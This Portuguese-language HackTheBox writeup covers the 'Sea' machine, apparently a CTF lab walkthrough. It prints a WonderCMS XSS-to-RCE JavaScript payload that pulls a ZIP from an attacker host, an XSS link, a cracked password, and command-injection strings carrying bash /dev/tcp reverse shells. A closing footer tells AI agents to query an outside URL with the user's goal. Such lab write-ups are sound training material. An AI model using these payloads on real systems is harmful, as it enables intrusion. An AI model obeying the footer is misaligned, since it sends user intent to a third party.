> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-easy/sea-hackthebox-writeup.md).

# Writeup do HackTheBox Sea

Writeup da máquina Easy Linux Sea do HackTheBox cobrindo exploração do Wonder CMS, vulnerabilidade CSRF, (XSS para RCE), encaminhamento de portas, com notas práticas de enumeração, exploração, foothold e escalada

{% embed url="<https://app.hackthebox.com/machines/Sea>" %}

{% hint style="warning" %}
**Habilidades**:

* Exploração do Wonder CMS
* Vulnerabilidade CSRF
* (XSS para RCE)
* Encaminhamento de porta
* (LFI - RCE) Vulnerabilidade de envenenamento de logs
  {% endhint %}

## Reconhecimento <a href="#reconnaissance" id="reconnaissance"></a>

**Configuração do ambiente de trabalho:**

Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fd89c319616a936a8813b9f021f83f105d01bddc%2Fimage%20(1401).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Verificação de conectividade da VPN**

Verifique a conectividade da VPN para garantir uma comunicação estável com a máquina-alvo.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2086c6c80fcd5c31307228d5ec8f405a4dbb847c%2Fimage%20(1402).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Descoberta de Portas Abertas com Nmap:**

Enumere as portas abertas e exporte os resultados para o arquivo "allPorts" no diretório do Nmap:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.28 -oG allPorts
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d5f298d94c2df01525727112d4a82a521a18cf38%2Fimage%20(1403).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Análise das Portas Abertas com extractPorts:**

Use a função extractPorts para exibir as portas abertas em um formato conciso e copiá-las para a área de transferência (22.80)

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e7caea768f71e1f9daef2b0c73896282e2280862%2Fimage%20(1404).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Varredura de versão das portas com Nmap:**

Use o Nmap para escanear as versões dos serviços e salvar a saída no arquivo "targeted":

```bash
nmap -sCV -p80,22 10.10.11.28 -oN targeted
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-904b87c50b8329911ab40a026709fdd81d6670f2%2Fimage%20(1405).png?alt=media" alt=""><figcaption></figcaption></figure>

Para resolver nomes de domínio em endereços IP via DNS, insira o nome de domínio associado ao seu endereço IP no `/etc/hosts` arquivo.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-08166dc53383a671ebdcca7ffa1d7d0172aba294%2Fimage%20(1407).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4b2d5aa413b86fac778640fc50c293d503ad0163%2Fimage%20(1406).png?alt=media" alt=""><figcaption></figcaption></figure>

**Descoberta de um site de contato:**

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-387be0f55148319f1b35cc4c360b38845eb7e331%2Fimage%20(1390).png?alt=media" alt=""><figcaption></figcaption></figure>

**Verificando as comunicações entre o servidor e o site:**/ Encontramos uma parte do site dedicada a contatos. Verificamos se o servidor está enviando frames para este site.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7563ef5175ef472d98f27efa577673407c114c96%2Fimage%20(1392).png?alt=media" alt=""><figcaption></figcaption></figure>

**Recebimento de um frame em nosso servidor web:**/ Para capturar esse frame, configuramos um servidor HTTP simples com Python:

```bash
python3 -m http.server 555
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5fbea8b6820e78a658935e2527a9cf05de8c3dfc%2Fimage%20(1391).png?alt=media" alt=""><figcaption></figcaption></figure>

**Interceptando a requisição com** [Burp Suite ](/pt-br/hacking-tools/web/burpsuite.md)**:**/ Interceptamos a requisição com o Burp Suite para analisar as comunicações.

## **Possível** [**SSRF**](/pt-br/web/ssrf.md)**:**

#### Tentamos listar serviços internos usando um ataque SSRF, modificando o parâmetro de consulta:

```bash
&website=http:127.0.0.1
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bc85f425e8fcc4afd6a713cbcbf1295c7edfeddc%2Fimage%20(1393).png?alt=media" alt=""><figcaption></figcaption></figure>

**Descoberta de portas internas com o Intruder:**/ Usamos o Intruder do Burp Suite para realizar um ataque de força bruta e descobrir portas internas abertas.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-436267a66ad07c2934649a19c44546e8334d6989%2Fimage%20(1394).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5b3a24402b1541e912476df45e329e181aa14f6a%2Fimage%20(1395).png?alt=media" alt=""><figcaption></figcaption></figure>

**Filtrando respostas:**/ Filtramos as respostas com base no tamanho para identificar quais são relevantes, mas todas são iguais.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-666ee51bf4810e8442932a93e1cb15aff1077507%2Fimage%20(1396).png?alt=media" alt=""><figcaption></figcaption></figure>

## Vulnerabilidade do WonderCMS ([CSRF](/pt-br/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-cross-site-request-forgery-csrf.md)): (XSS para RCE) <a href="#wondercms-vulnerability" id="wondercms-vulnerability"></a>

**Busca de diretórios:**/ Usamos o Gobuster para buscar diretórios no site:

```bash
gobuster dir -u http://sea.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

Isso nos retorna o **/themes** diretório com um código de redirecionamento 301.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8d6cfe120369f96bd1d929feb6338f5a22b3b166%2Fimage%20(1397).png?alt=media" alt=""><figcaption></figcaption></figure>

**Explorando o diretório themes:**/ Continuamos a busca adicionando o caminho descoberto à URL e explorando o **/themes** diretório

```bash
gobuster dir -u http://sea.htb/themes/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

Encontramos o **/bike** subdiretório.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-47e11f27595831e73c1d9977cdc10776c7cde182%2Fimage%20(1398).png?alt=media" alt=""><figcaption></figcaption></figure>

**Filtrando por extensões de arquivo:**/ Usamos *ffuf* para filtrar arquivos com certas extensões (php, html, png, etc.) no **/bike** diretório:

```bash
ffuf -c -w /usr/share/SecLists/Discovery/Web-Content/quickhits.txt -u "http://sea.htb/themes/bike/FUZZ" -t 200 -fc 403
```

Este comando nos permite encontrar um arquivo chamado **README.md**

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c62436c55c0e4c5d0bb92c43af0c82225b958717%2Fimage%20(1399).png?alt=media" alt=""><figcaption></figcaption></figure>

Encontramos um `README.md` arquivo que indica que o servidor usa um tema chamado "WONDER", que é um CMS.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-98c095dcf1c7cd000d445a6d7710e2b6e630d1b5%2Fimage%20(1400).png?alt=media" alt=""><figcaption></figcaption></figure>

Ao buscar vulnerabilidades relacionadas a este CMS, descobrimos uma falha que permite execução remota de código (RCE) via injeção XSS.

{% embed url="<https://github.com/prodigiousMind/CVE-2023-41425?tab=readme-ov-file>" %}

**Código JavaScript para obter uma shell:**/ O código JavaScript a seguir baixa um arquivo ZIP malicioso contendo um script de reverse shell e depois o executa no servidor:

```javascript
// o servidor tem algum problema para resolver nome de domínio com JavaScript
// podemos simplesmente fornecer a URL alvo como parâmetro obrigatório
var whateverURL = "http://sea.htb"; 
var token = document.querySelectorAll('[name="token"]')[0].value;
// modifique o caminho do arquivo ZIP servido no servidor HTTP
var urlRev = whateverURL+"/?installModule=http://10.10.14.89:8000/whatever.zip&directoryName=violet&type=themes&token=" + token;
var xhr3 = new XMLHttpRequest();
xhr3.withCredentials = true;
xhr3.open("GET", urlRev);
xhr3.send();
xhr3.onload = function() {
 if (xhr3.status == 200) {
   var xhr4 = new XMLHttpRequest();
   xhr4.withCredentials = true;
   // visite rev.php dentro do arquivo ZIP enviado
   xhr4.open("GET", whateverURL+"/themes/whatever/rev.php");
   xhr4.send();
   xhr4.onload = function() {
     if (xhr4.status == 200) {
       var ip = "10.10.14.89";
       var port = "4444";
       var xhr5 = new XMLHttpRequest();
       xhr5.withCredentials = true;
       // acione o script de reverse shell e forneça o IP e a porta do ouvinte
       xhr5.open("GET", whateverURL+"/themes/whatever/rev.php?lhost=" + ip + "&lport=" + port);
       xhr5.send();
     }
   };
 }
};
```

**Instalação do script de exploração para a vulnerabilidade (CVE-2023-41425):**

```bash
git clone https://github.com/prodigiousMind/CVE-2023-41425
cd CVE-2023-41425
```

Executamos o script de exploração:

```bash
python3 exploit.py http://sea.htb/loginURL 10.10.14.89 4444
```

O script acima envia uma requisição ao nosso servidor na porta 8000 por meio de um `xss.js` arquivo, concedendo-nos acesso RCE e controle da máquina alvo.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7505b5e2d642f24480a1d66b5fa47fac32186830%2Fimage%20(2274).png?alt=media" alt=""><figcaption></figcaption></figure>

**Etapa final:**

Precisamos enviar o link de XSS para o administrador via o `contact.php` formulário para induzi-lo a clicar no link malicioso:

{% code fullWidth="true" %}

```
http://sea.htb/index.php?page=loginURL?"></form><script+src="http://10.10.14.89:8000/xss.js"></script><form+action="
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8a7badabd359f6ac43583778db89d9661df82a79%2Fimage%20(2267).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-03e29c4f6d815d1c8a07a0b04dd8fa3eea041c34%2Fimage%20(2268).png?alt=media" alt=""><figcaption></figcaption></figure>

**Ouvindo com Netcat:**/ Ficamos escutando na porta 4444:

```bash
nc -nlvp 4444
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-79a85982bb902979479e1938141c505604f89aca%2Fimage%20(2273).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Depois de obter acesso ao servidor Linux, use os seguintes comandos para estabilizar o terminal <a href="#terminal-stabilization" id="terminal-stabilization"></a>

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

#### Estabilize a shell para um trabalho mais confortável. <a href="#stabilize-the-shell" id="stabilize-the-shell"></a>

## Escalada de privilégios:

Como o usuário *www-data*, vamos filtrar o conteúdo usando o `find` comando para buscar apenas arquivos que contenham a palavra "**senha**" no diretório do servidor web `/var/www/sea`.

```bash
find /var/www/sea -type f -exec grep -Hn "password" {} /
```

Encontramos uma senha criptografada em `database.js` arquivo:

`$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ/D.GuE4jRIikYiWrD3TM/PjDnXm4q`

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5023f087dd396b0a7a5493af77b5d6361ad507be%2Fimage%20(2275).png?alt=media" alt=""><figcaption></figcaption></figure>

Para quebrar essa senha, usamos a **John the Ripper** ferramenta com o `rockyou.txt` arquivo de dicionário:

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-31299c1c6b38044b08a25216659760471cb8ad62%2Fimage%20(2277).png?alt=media" alt=""><figcaption></figcaption></figure>

A senha decifrada é mychemicalromance

Agora tentaremos nos conectar com os dois usuários disponíveis no sistema: "geo" e "amays".

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-205a424f7c0923503e3c19ddc8ca85e0efc10d82%2Fimage%20(2276).png?alt=media" alt=""><figcaption></figcaption></figure>

A senha do usuário **amays** está correta.

### Flag user.txt

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-af4f1bf6eeec52a034a3690bdeb6684cc1c659e5%2Fimage%20(2278).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Analisando as comunicações da rede interna, encontramos que a porta 8080 estava em uso:

```bash
netstat -ano
netstat -nltp
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ee9e9101abe24193d85be7de6c51fba7d2a72973%2Fimage%20(1378).png?alt=media" alt=""><figcaption></figcaption></figure>

Portanto, redirecionaremos a porta 8080 do servidor para nossa máquina atacante via SSH usando encaminhamento de porta, a partir da porta 8888:

```bash
ssh -L 8888:localhost:8080 amay@10.10.11.28
```

Uma vez conectados, encontramos um painel de login.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6b5c3901eeb47b76243306048d2e3026248c4c41%2Fimage%20(1379).png?alt=media" alt=""><figcaption></figcaption></figure>

Com as credenciais do usuário `amay`: `mychemicalromance`, conseguimos nos conectar a um sistema de monitoramento.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b69aaca000c4605ad00d0a4b616f6c8a7e1aecdb%2Fimage%20(1380).png?alt=media" alt=""><figcaption></figcaption></figure>

Podemos observar os logs de conexão de `root`.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0ada26656355271a952775187f56505897059b7d%2Fimage%20(1381).png?alt=media" alt=""><figcaption></figcaption></figure>

Ao interceptar a requisição com o Burp Suite, percebemos que ele exibe o conteúdo do `/var/log/apache2/access.log` arquivo de forma mais estruturada.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8bd751fb09e5bbf6d4b045d20eae3b67f8685a5a%2Fimage%20(1383).png?alt=media" alt=""><figcaption></figcaption></figure>

Este arquivo só pode ser aberto pelo usuário `root`.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2cc5134fdb82751281b815d7fbf192c7f5a2f498%2Fimage%20(1384).png?alt=media" alt=""><figcaption></figcaption></figure>

### Vulnerabilidade [(LFI - RCE) Envenenamento de logs](/pt-br/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-local-file-inclusion-to-remote-code-execution-lfi-to-rce.md):

Se tentarmos listar um arquivo como `/etc/passwd`, por exemplo:

```
log_file=/etc/passwd  &analyze_log=/etc/passwd
```

O arquivo é listado :)

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a87e0c3f818aba8b543536fa0bcde800c20fd538%2Fimage%20(1385).png?alt=media" alt=""><figcaption></figcaption></figure>

Em seguida, tentaremos ler o arquivo contendo a `root` flag e observamos que é possível executar comandos (como `id`):

```bash
log_file=/root/root.txt;id;----&analyze_log=/root/root.txt
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-25d40a134773f4e7b8900b755653d877c459d502%2Fimage%20(1386).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Acesso total (reverse shell):**

Para obter uma reverse shell, executamos o seguinte comando:

{% code fullWidth="false" %}

```bash
bash -c "bash -i >%26 /dev/tcp/192.168.71.128/443 0>%261"
```

{% endcode %}

{% code overflow="wrap" fullWidth="true" %}

```
log_file=/root/root.txt;bash -c "bash -i >& /dev/tcp/10.10.14.89/443 0>&1";---&analyze_log=/root/root.txt
```

{% endcode %}

Então, ficamos escutando com `nc`:

```bash
nc -nvlp 443
```

### Flag root :)

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-92f9ac60bb34c2a23a0d516aad28671d5dfa26e5%2Fimage%20(1388).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2f51bbd2f363212b6084c889207caf4f8f423be8%2Fimage%20(1389).png?alt=media" alt="" width="520"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-easy/sea-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
